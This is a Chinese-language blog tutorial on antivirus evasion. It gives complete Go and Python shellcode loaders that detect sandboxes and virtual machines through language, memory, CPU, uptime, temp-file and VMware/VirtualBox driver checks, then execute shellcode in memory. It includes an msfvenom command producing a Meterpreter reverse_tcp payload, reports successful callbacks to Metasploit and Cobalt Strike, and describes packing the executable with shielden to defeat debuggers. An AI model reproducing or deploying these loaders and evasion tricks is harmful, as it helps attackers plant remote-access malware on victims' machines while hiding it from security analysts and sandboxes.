• 免杀对抗-反沙盒+反调试


    反VT-沙盒检测-Go&Python

    介绍:

    近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。

    其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说沙盒就是为运行中的程序提供的隔离环境。

             为了逃避沙箱/安全人员的检测,恶意软件使用了各类识别沙箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。

    go语言

    1.使用GoLang打开如下反沙盒go文件。

    main.go:会检测电脑配置来判断是否是虚拟环境

    1. packagemain
    2. import(
    3. "encoding/hex"
    4. "golang.org/x/sys/windows"
    5. "os"
    6. "os/exec"
    7. "path/filepath"
    8. "runtime"
    9. "strings"
    10. "syscall"
    11. "time"
    12. "unsafe"
    13. )
    14. //检测语言,依赖windows数据包,编译后会增加0.6M大小
    15. funccheck_language(){
    16. a,_:=windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)//获取当前系统首选语言
    17. ifa[0]!="zh-CN"{
    18. os.Exit(1)
    19. }
    20. }
    21. funccheck_sandbox(){
    22. //1.延时运行
    23. timeSleep1,_:=timeSleep()
    24. //2.检测开机时间
    25. bootTime1,_:=bootTime()
    26. //3.检测物理内存
    27. physicalMemory1,_:=physicalMemory()
    28. //4.检测CPU核心数
    29. numberOfCPU1,_:=numberOfCPU()
    30. //5.检测临时文件数
    31. numberOfTempFiles1,_:=numberOfTempFiles()
    32. level:=timeSleep1+bootTime1+physicalMemory1+numberOfCPU1+numberOfTempFiles1//有五个等级,等级越趋向于5,越像真机
    33. //fmt.Println("level:",level)
    34. iflevel<4{
    35. os.Exit(1)
    36. }
    37. }
    38. //1.延时运行
    39. functimeSleep()(int,error){
    40. startTime:=time.Now()
    41. time.Sleep(5*time.Second)
    42. endTime:=time.Now()
    43. sleepTime:=endTime.Sub(startTime)
    44. ifsleepTime>=time.Duration(5*time.Second){
    45. //fmt.Println("睡眠时间为:",sleepTime)
    46. return1,nil
    47. }else{
    48. return0,nil
    49. }
    50. }
    51. //2.检测开机时间
    52. //许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
    53. funcbootTime()(int,error){
    54. varkernel=syscall.NewLazyDLL("Kernel32.dll")
    55. GetTickCount:=kernel.NewProc("GetTickCount")
    56. r,_,_:=GetTickCount.Call()
    57. ifr==0{
    58. return0,nil
    59. }
    60. ms:=time.Duration(r*1000*1000)
    61. tm:=time.Duration(30*time.Minute)
    62. //fmt.Println(ms,tm)
    63. ifms
    64. return0,nil
    65. }else{
    66. return1,nil
    67. }
    68. }
    69. //3、物理内存大小
    70. funcphysicalMemory()(int,error){
    71. varmod=syscall.NewLazyDLL("kernel32.dll")
    72. varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")
    73. varmemuint64
    74. proc.Call(uintptr(unsafe.Pointer(&mem)))
    75. mem=mem/1048576
    76. //fmt.Printf("物理内存为%dG\n",mem)
    77. ifmem<4{
    78. return0,nil//小于4GB返回0
    79. }
    80. return1,nil//大于4GB返回1
    81. }
    82. funcnumberOfCPU()(int,error){
    83. a:=runtime.NumCPU()
    84. //fmt.Println("CPU核心数为:",a)
    85. ifa<4{
    86. return0,nil//小于4核心数,返回0
    87. }else{
    88. return1,nil//大于4核心数,返回1
    89. }
    90. }
    91. funcnumberOfTempFiles()(int,error){
    92. conn:=os.Getenv("temp")//通过环境变量读取temp文件夹路径
    93. varkint
    94. ifconn==""{
    95. //fmt.Println("未找到temp文件夹,或temp文件夹不存在")
    96. return0,nil
    97. }else{
    98. local_dir:=conn
    99. err:=filepath.Walk(local_dir,func(filenamestring,fios.FileInfo,errerror)error{
    100. iffi.IsDir(){
    101. returnnil
    102. }
    103. k++
    104. //fmt.Println("filename:",filename)//输出文件名字
    105. returnnil
    106. })
    107. //fmt.Println("Temp总共文件数量:",k)
    108. iferr!=nil{
    109. //fmt.Println("路径获取错误")
    110. return0,nil
    111. }
    112. }
    113. ifk<30{
    114. return0,nil
    115. }
    116. return1,nil
    117. }
    118. funccheck_virtual()(bool,error){//识别虚拟机
    119. model:=""
    120. varcmd*exec.Cmd
    121. cmd=exec.Command("cmd","/C","wmicpathWin32_ComputerSystemgetModel")
    122. stdout,err:=cmd.Output()
    123. iferr!=nil{
    124. returnfalse,err
    125. }
    126. model=strings.ToLower(string(stdout))
    127. ifstrings.Contains(model,"VirtualBox")||strings.Contains(model,"virtual")||strings.Contains(model,"VMware")||
    128. strings.Contains(model,"KVM")||strings.Contains(model,"Bochs")||strings.Contains(model,"HVMdomU")||strings.Contains(model,"Parallels"){
    129. returntrue,nil//如果是虚拟机则返回true
    130. }
    131. returnfalse,nil
    132. }
    133. funcPathExists(pathstring)(bool,error){
    134. _,err:=os.Stat(path)
    135. iferr==nil{
    136. returntrue,nil
    137. }
    138. ifos.IsNotExist(err){
    139. returnfalse,nil
    140. }
    141. returnfalse,err
    142. }
    143. funcfack(pathstring){
    144. b,_:=PathExists(path)
    145. ifb{
    146. os.Exit(1)
    147. }
    148. }
    149. funccheck_file(){
    150. fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
    151. fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
    152. fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
    153. fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
    154. fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
    155. fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
    156. fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
    157. fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
    158. fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
    159. fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
    160. fack("C:\\windows\\System32\\vboxdisp.dll")
    161. fack("C:\\windows\\System32\\vboxhook.dll")
    162. fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
    163. fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
    164. fack("C:\\windows\\System32\\vboxservice.exe")
    165. fack("C:\\windows\\System32\\vboxtray.exe")
    166. fack("C:\\windows\\System32\\VBoxControl.exe")
    167. }
    168. varVirtualAlloc=syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
    169. funcaaa(aunsafe.Pointer,buintptr,cuint32,dunsafe.Pointer)bool{
    170. ret,_,_:=VirtualAlloc.Call(
    171. uintptr(a),
    172. uintptr(b),
    173. uintptr(c),
    174. uintptr(d))
    175. returnret>0
    176. }
    177. funcRun(sc[]byte){
    178. fly:=func(){}
    179. varxxuint32
    180. if!aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))),unsafe.Sizeof(uintptr(0)),uint32(0x40),unsafe.Pointer(&xx)){
    181. }
    182. **(**uintptr)(unsafe.Pointer(&fly))=*(*uintptr)(unsafe.Pointer(&sc))
    183. varyyuint32
    184. aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&yy))
    185. fly()
    186. }
    187. funcScFromHex(scHexstring)[]byte{
    188. varcharcode[]byte
    189. charcode,_=hex.DecodeString(string(scHex))
    190. returncharcode
    191. }
    192. funcmain(){
    193. check_language()
    194. check_file()
    195. check,_:=check_virtual()
    196. ifcheck==true{
    197. os.Exit(1)
    198. }
    199. check_sandbox()
    200. sccode:=ScFromHex("生成的hex类型shellcode")
    201. Run(sccode)
    202. }

    2.启动msf,使用命令生成hex类型shellcode

    命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听ip LPORT=4444 -f hex

    将shellcode写入main.go文件中,运行生成exe程序

    3.msf设置监听,在真机运行exe程序,msf成功上线

    4.将exe程序放到虚拟机中无法运行,证明代码成功检测出当前处在虚拟环境中。

     

    python语言

    1.将如下反沙盒py代码使用py文件打包器打包成exe程序

    Vt.py:

    1. import ctypes,base64,os,psutil,time
    2. from multiprocessing import cpu_count
    3. def check_file():
    4. vmfile=[
    5. 'C:\windows\System32\Drivers\Vmmouse.sys',
    6. 'C:\windows\System32\Drivers/vmtray.dll',
    7. 'C:\windows\System32\Drivers\VMToolsHook.dll',
    8. 'C:\windows\System32\Drivers/vmmousever.dll',
    9. 'C:\windows\System32\Drivers/vmhgfs.dll',
    10. 'C:\windows\System32\Drivers/vmGuestLib.dll',
    11. 'C:\windows\System32\Drivers\VBoxMouse.sys',
    12. 'C:\windows\System32\Drivers\VBoxGuest.sys',
    13. 'C:\windows\System32\Drivers\VBoxSF.sys',
    14. 'C:\windows\System32\Drivers\VBoxVideo.sys',
    15. 'C:\windows\System32/vboxdisp.dll',
    16. 'C:\windows\System32/vboxhook.dll',
    17. 'C:\windows\System32/vboxoglerrorspu.dll',
    18. 'C:\windows\System32/vboxoglpassthroughspu.dll',
    19. 'C:\windows\System32/vboxservice.exe',
    20. 'C:\windows\System32/vboxtray.exe',
    21. 'C:\windows\System32\VBoxControl.exe',
    22. ]
    23. for data in vmfile:
    24. result=os.path.exists(data)
    25. if result:
    26. return 0
    27. return 1
    28. def check_virtual():
    29. r=os.popen('wmic path Win32_ComputerSystem get Model')
    30. text = r.read()
    31. if 'vmware' in text:
    32. return 0
    33. return 1
    34. def numberOfCPU():
    35. if int(format(cpu_count())) < 4:
    36. return 0
    37. return 1
    38. def physicalMemory():
    39. data = psutil.virtual_memory()
    40. total = data.total # 总内存,单位为byte
    41. n=int(total/1024/1024/1024)+1
    42. if n < 4:
    43. return 0
    44. return 1
    45. if __name__ == '__main__':
    46. r=numberOfCPU()+physicalMemory()+check_virtual()+check_file()
    47. print(r)
    48. if r < 4:
    49. exit()
    50. else:
    51. sc=b'生成的shellcode'
    52. time.sleep(1)
    53. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    54. rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
    55. time.sleep(1)
    56. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(sc), len(sc))
    57. time.sleep(1)
    58. handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    59. time.sleep(1)
    60. ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    61. time.sleep(1)

    打包成功

    2.真机运行exe程序,cs成功上线

    3.将exe程序上传到虚拟机,exe程序无法运行。

     

     

    反VT反调试-程序保护

    1.将上线的exe程序使用ollydbg进行调试,可以正常调试

    2.使用工具shielden对exe程序进行保护

    下载:https://www.somode.com/softxz/716.html

    启动工具,将exe程序拖入工具中。勾选如下选项,点击保护

    3.将重新生成的受保护的exe程序再次使用ollydbg调试,可以看到已经不能正常调试了

    4.在虚拟机中也无法在运行

  • 相关阅读:
    Join and meet
    python总是安装模块失败?这次教你学会镜像安装~
    Linux高级编程——线程
    飞书API 2-2:如何使用 API 建多维表
    GraphPad Prism 10 for Mac(统计分析绘图软件)
    浏览器检测麦克风音量
    07-React-redux和redux的使用
    C++14 新特性
    openssl做文件处理(base64,MD5,sha256等)
    字符串压缩(二)之LZ4
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/133646686